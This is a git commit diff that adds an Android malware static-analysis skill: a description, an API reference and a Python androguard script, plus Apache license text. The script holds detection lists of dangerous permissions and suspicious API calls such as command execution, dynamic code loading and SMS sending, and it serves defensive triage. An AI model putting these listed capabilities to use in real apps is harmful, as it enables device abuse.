reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,66 @@
|
||||
---
|
||||
name: analyzing-android-malware-with-apktool
|
||||
description: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- Android
|
||||
- APK
|
||||
- apktool
|
||||
- jadx
|
||||
- androguard
|
||||
- mobile-malware
|
||||
- static-analysis
|
||||
- reverse-engineering
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1406
|
||||
- T1407
|
||||
- T1626.001
|
||||
- T1655.001
|
||||
- T1521.001
|
||||
---
|
||||
|
||||
# Analyzing Android Malware with Apktool
|
||||
|
||||
## Overview
|
||||
|
||||
Android malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing android malware with apktool
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `androguard`
|
||||
- apktool (for resource decompilation)
|
||||
- jadx (for Java source recovery, optional)
|
||||
- Isolated analysis environment (VM or sandbox)
|
||||
- Sample APK files for analysis
|
||||
|
||||
## Steps
|
||||
|
||||
1. Parse APK with androguard to extract manifest metadata
|
||||
2. Enumerate requested permissions and flag dangerous combinations
|
||||
3. List activities, services, receivers, and providers from manifest
|
||||
4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)
|
||||
5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)
|
||||
6. Extract hardcoded URLs, IPs, and C2 indicators from strings
|
||||
7. Generate risk assessment report with MITRE ATT&CK mobile mappings
|
||||
|
||||
## Expected Output
|
||||
|
||||
- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score
|
||||
- Extracted strings and potential IOCs from the APK
|
||||
@@ -0,0 +1,69 @@
|
||||
# API Reference — Analyzing Android Malware with Apktool
|
||||
|
||||
## Libraries Used
|
||||
- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning
|
||||
- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings
|
||||
- **json**: JSON serialization for analysis reports
|
||||
|
||||
## CLI Interface
|
||||
```
|
||||
python agent.py sample.apk permissions
|
||||
python agent.py sample.apk manifest
|
||||
python agent.py sample.apk apis
|
||||
python agent.py sample.apk strings
|
||||
python agent.py sample.apk full
|
||||
python agent.py sample.apk # defaults to full analysis
|
||||
```
|
||||
|
||||
## Core Functions
|
||||
|
||||
### `analyze_permissions(apk)` — Permission risk assessment
|
||||
Calls `apk.get_permissions()`. Flags 20 dangerous permissions including
|
||||
SEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.
|
||||
Risk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.
|
||||
|
||||
### `analyze_manifest(apk)` — Manifest component extraction
|
||||
Calls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.
|
||||
Returns package name, version, SDK levels, and all component lists.
|
||||
|
||||
### `scan_suspicious_apis(dx)` — Suspicious API call detection
|
||||
Searches DEX analysis for 14 patterns including:
|
||||
- `Runtime.exec`, `ProcessBuilder.start` — command execution
|
||||
- `DexClassLoader.loadClass` — dynamic code loading
|
||||
- `Method.invoke`, `Class.forName` — reflection
|
||||
- `Cipher.getInstance` — cryptographic operations
|
||||
- `SmsManager.sendTextMessage` — SMS abuse
|
||||
|
||||
### `extract_strings(dx, apk)` — IOC extraction from DEX strings
|
||||
Regex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.
|
||||
Filters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).
|
||||
|
||||
### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection
|
||||
Checks for single-letter class names (ProGuard), multi-DEX, native libraries.
|
||||
|
||||
### `full_analysis(apk_path)` — Comprehensive malware assessment
|
||||
|
||||
## Androguard API
|
||||
| Method | Returns |
|
||||
|--------|---------|
|
||||
| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |
|
||||
| `apk.get_permissions()` | List of Android permissions |
|
||||
| `apk.get_activities()` | Activity component names |
|
||||
| `apk.get_services()` | Service component names |
|
||||
| `apk.get_receivers()` | BroadcastReceiver names |
|
||||
| `apk.get_package()` | Package name string |
|
||||
| `dx.find_methods(classname, methodname)` | Matching method analysis objects |
|
||||
| `dx.get_strings()` | All strings from DEX files |
|
||||
| `dx.get_classes()` | All class analysis objects |
|
||||
|
||||
## Risk Scoring
|
||||
| Factor | Max Points |
|
||||
|--------|-----------|
|
||||
| Dangerous permissions (8 pts each) | 40 |
|
||||
| Suspicious API calls (10 pts each) | 30 |
|
||||
| External IPs (5 pts each) | 15 |
|
||||
| Obfuscation detected | 15 |
|
||||
|
||||
## Dependencies
|
||||
- `androguard` >= 3.4.0
|
||||
- Isolated analysis environment recommended
|
||||
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for static analysis of Android APK malware using androguard."""
|
||||
|
||||
import json
|
||||
import re
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
from androguard.core.apk import APK
|
||||
from androguard.core.dex import DEX
|
||||
from androguard.misc import AnalyzeAPK
|
||||
except ImportError:
|
||||
APK = None
|
||||
AnalyzeAPK = None
|
||||
|
||||
DANGEROUS_PERMISSIONS = [
|
||||
"android.permission.SEND_SMS", "android.permission.READ_SMS",
|
||||
"android.permission.RECEIVE_SMS", "android.permission.READ_CONTACTS",
|
||||
"android.permission.READ_CALL_LOG", "android.permission.RECORD_AUDIO",
|
||||
"android.permission.CAMERA", "android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.READ_PHONE_STATE", "android.permission.CALL_PHONE",
|
||||
"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE",
|
||||
"android.permission.INSTALL_PACKAGES", "android.permission.REQUEST_INSTALL_PACKAGES",
|
||||
"android.permission.SYSTEM_ALERT_WINDOW", "android.permission.BIND_ACCESSIBILITY_SERVICE",
|
||||
"android.permission.BIND_DEVICE_ADMIN", "android.permission.RECEIVE_BOOT_COMPLETED",
|
||||
"android.permission.WRITE_SETTINGS", "android.permission.CHANGE_WIFI_STATE",
|
||||
]
|
||||
|
||||
SUSPICIOUS_API_PATTERNS = [
|
||||
r"Ljava/lang/Runtime;->exec",
|
||||
r"Ljava/lang/ProcessBuilder;->start",
|
||||
r"Ldalvik/system/DexClassLoader;->loadClass",
|
||||
r"Ljava/lang/reflect/Method;->invoke",
|
||||
r"Ljava/lang/Class;->forName",
|
||||
r"Ljavax/crypto/Cipher;->getInstance",
|
||||
r"Landroid/telephony/SmsManager;->sendTextMessage",
|
||||
r"Landroid/app/admin/DevicePolicyManager;->lockNow",
|
||||
r"Landroid/content/pm/PackageManager;->setComponentEnabledSetting",
|
||||
r"Ljava/net/HttpURLConnection;->connect",
|
||||
r"Lokhttp3/OkHttpClient;->newCall",
|
||||
r"Landroid/webkit/WebView;->loadUrl",
|
||||
r"Landroid/os/Build;->SERIAL",
|
||||
r"Landroid/provider/Settings\$Secure;->getString",
|
||||
]
|
||||
|
||||
|
||||
def analyze_permissions(apk):
|
||||
"""Analyze requested permissions and flag dangerous ones."""
|
||||
permissions = apk.get_permissions()
|
||||
dangerous = [p for p in permissions if p in DANGEROUS_PERMISSIONS]
|
||||
return {
|
||||
"total_permissions": len(permissions),
|
||||
"permissions": permissions,
|
||||
"dangerous_permissions": dangerous,
|
||||
"dangerous_count": len(dangerous),
|
||||
"permission_risk": "CRITICAL" if len(dangerous) >= 8 else "HIGH" if len(dangerous) >= 5 else "MEDIUM" if len(dangerous) >= 2 else "LOW",
|
||||
}
|
||||
|
||||
|
||||
def analyze_manifest(apk):
|
||||
"""Extract manifest components: activities, services, receivers, providers."""
|
||||
activities = apk.get_activities()
|
||||
services = apk.get_services()
|
||||
receivers = apk.get_receivers()
|
||||
providers = apk.get_providers()
|
||||
return {
|
||||
"package_name": apk.get_package(),
|
||||
"app_name": apk.get_app_name(),
|
||||
"version_name": apk.get_androidversion_name(),
|
||||
"version_code": apk.get_androidversion_code(),
|
||||
"min_sdk": apk.get_min_sdk_version(),
|
||||
"target_sdk": apk.get_target_sdk_version(),
|
||||
"activities": list(activities),
|
||||
"services": list(services),
|
||||
"receivers": list(receivers),
|
||||
"providers": list(providers),
|
||||
"activity_count": len(activities),
|
||||
"service_count": len(services),
|
||||
"receiver_count": len(receivers),
|
||||
"provider_count": len(providers),
|
||||
}
|
||||
|
||||
|
||||
def scan_suspicious_apis(dx):
|
||||
"""Scan DEX analysis for suspicious API calls."""
|
||||
findings = []
|
||||
if not dx:
|
||||
return findings
|
||||
for pattern in SUSPICIOUS_API_PATTERNS:
|
||||
class_name = pattern.split(";->")[0] + ";"
|
||||
method_name = pattern.split(";->")[1] if ";->" in pattern else None
|
||||
for method in dx.find_methods(classname=class_name, methodname=method_name):
|
||||
xrefs = list(method.get_xref_from())
|
||||
if xrefs:
|
||||
findings.append({
|
||||
"api": pattern,
|
||||
"callers": len(xrefs),
|
||||
"first_caller_class": str(xrefs[0][0].name) if xrefs else None,
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def extract_strings(dx, apk):
|
||||
"""Extract suspicious strings: URLs, IPs, base64 patterns."""
|
||||
url_pattern = re.compile(r'https?://[\w\-._~:/?#\[\]@!$&\'()*+,;=]+', re.IGNORECASE)
|
||||
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
|
||||
b64_pattern = re.compile(r'[A-Za-z0-9+/]{30,}={0,2}')
|
||||
|
||||
urls = set()
|
||||
ips = set()
|
||||
b64_strings = []
|
||||
|
||||
if dx:
|
||||
for s in dx.get_strings():
|
||||
val = str(s)
|
||||
urls.update(url_pattern.findall(val))
|
||||
ips.update(ip_pattern.findall(val))
|
||||
b64_matches = b64_pattern.findall(val)
|
||||
b64_strings.extend(b64_matches[:5])
|
||||
|
||||
private_ips = {"10.", "192.168.", "172.16.", "127.0."}
|
||||
external_ips = [ip for ip in ips if not any(ip.startswith(p) for p in private_ips)]
|
||||
|
||||
return {
|
||||
"urls": sorted(urls)[:30],
|
||||
"external_ips": sorted(external_ips)[:20],
|
||||
"suspicious_base64": b64_strings[:10],
|
||||
"url_count": len(urls),
|
||||
"external_ip_count": len(external_ips),
|
||||
}
|
||||
|
||||
|
||||
def detect_obfuscation(apk, dx):
|
||||
"""Detect code obfuscation indicators."""
|
||||
indicators = []
|
||||
if dx:
|
||||
short_class_names = 0
|
||||
for cls in dx.get_classes():
|
||||
name = str(cls.name)
|
||||
parts = name.replace("/", ".").split(".")
|
||||
if any(len(p) == 1 and p.isalpha() for p in parts):
|
||||
short_class_names += 1
|
||||
if short_class_names > 10:
|
||||
indicators.append({"type": "single_letter_classes", "count": short_class_names})
|
||||
|
||||
dex_files = [f for f in apk.get_files() if f.endswith(".dex")]
|
||||
if len(dex_files) > 1:
|
||||
indicators.append({"type": "multi_dex", "dex_count": len(dex_files)})
|
||||
|
||||
native_libs = [f for f in apk.get_files() if f.endswith(".so")]
|
||||
if native_libs:
|
||||
indicators.append({"type": "native_libraries", "libs": native_libs[:10]})
|
||||
|
||||
return {
|
||||
"obfuscation_indicators": indicators,
|
||||
"likely_obfuscated": len(indicators) > 0,
|
||||
}
|
||||
|
||||
|
||||
def full_analysis(apk_path):
|
||||
"""Run comprehensive APK malware analysis."""
|
||||
if not APK or not AnalyzeAPK:
|
||||
return {"error": "androguard not installed: pip install androguard"}
|
||||
|
||||
a, d, dx = AnalyzeAPK(apk_path)
|
||||
|
||||
perm_analysis = analyze_permissions(a)
|
||||
manifest = analyze_manifest(a)
|
||||
suspicious_apis = scan_suspicious_apis(dx)
|
||||
strings = extract_strings(dx, a)
|
||||
obfuscation = detect_obfuscation(a, dx)
|
||||
|
||||
risk_score = 0
|
||||
risk_score += min(perm_analysis["dangerous_count"] * 8, 40)
|
||||
risk_score += min(len(suspicious_apis) * 10, 30)
|
||||
risk_score += min(strings["external_ip_count"] * 5, 15)
|
||||
risk_score += 15 if obfuscation["likely_obfuscated"] else 0
|
||||
risk_score = min(risk_score, 100)
|
||||
|
||||
return {
|
||||
"analysis_type": "Android APK Static Analysis",
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"file": apk_path,
|
||||
"manifest": manifest,
|
||||
"permissions": perm_analysis,
|
||||
"suspicious_apis": suspicious_apis[:20],
|
||||
"strings": strings,
|
||||
"obfuscation": obfuscation,
|
||||
"risk_score": risk_score,
|
||||
"risk_level": "CRITICAL" if risk_score >= 70 else "HIGH" if risk_score >= 50 else "MEDIUM" if risk_score >= 25 else "LOW",
|
||||
"mitre_techniques": [
|
||||
{"id": "T1418", "name": "Software Discovery"} if manifest["service_count"] > 5 else None,
|
||||
{"id": "T1417", "name": "Input Capture"} if "android.permission.BIND_ACCESSIBILITY_SERVICE" in perm_analysis["permissions"] else None,
|
||||
{"id": "T1582", "name": "SMS Control"} if "android.permission.SEND_SMS" in perm_analysis["permissions"] else None,
|
||||
{"id": "T1404", "name": "Exploitation for Privilege Escalation"} if any("DevicePolicyManager" in a.get("api", "") for a in suspicious_apis) else None,
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Android APK Malware Analysis Agent")
|
||||
parser.add_argument("apk", help="Path to APK file")
|
||||
sub = parser.add_subparsers(dest="command")
|
||||
sub.add_parser("permissions", help="Analyze permissions")
|
||||
sub.add_parser("manifest", help="Extract manifest components")
|
||||
sub.add_parser("apis", help="Scan for suspicious API calls")
|
||||
sub.add_parser("strings", help="Extract URLs, IPs, and encoded strings")
|
||||
sub.add_parser("full", help="Full malware analysis")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == "full" or args.command is None:
|
||||
result = full_analysis(args.apk)
|
||||
else:
|
||||
a, d, dx = AnalyzeAPK(args.apk)
|
||||
if args.command == "permissions":
|
||||
result = analyze_permissions(a)
|
||||
elif args.command == "manifest":
|
||||
result = analyze_manifest(a)
|
||||
elif args.command == "apis":
|
||||
result = scan_suspicious_apis(dx)
|
||||
elif args.command == "strings":
|
||||
result = extract_strings(dx, a)
|
||||
print(json.dumps(result, indent=2, default=str))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
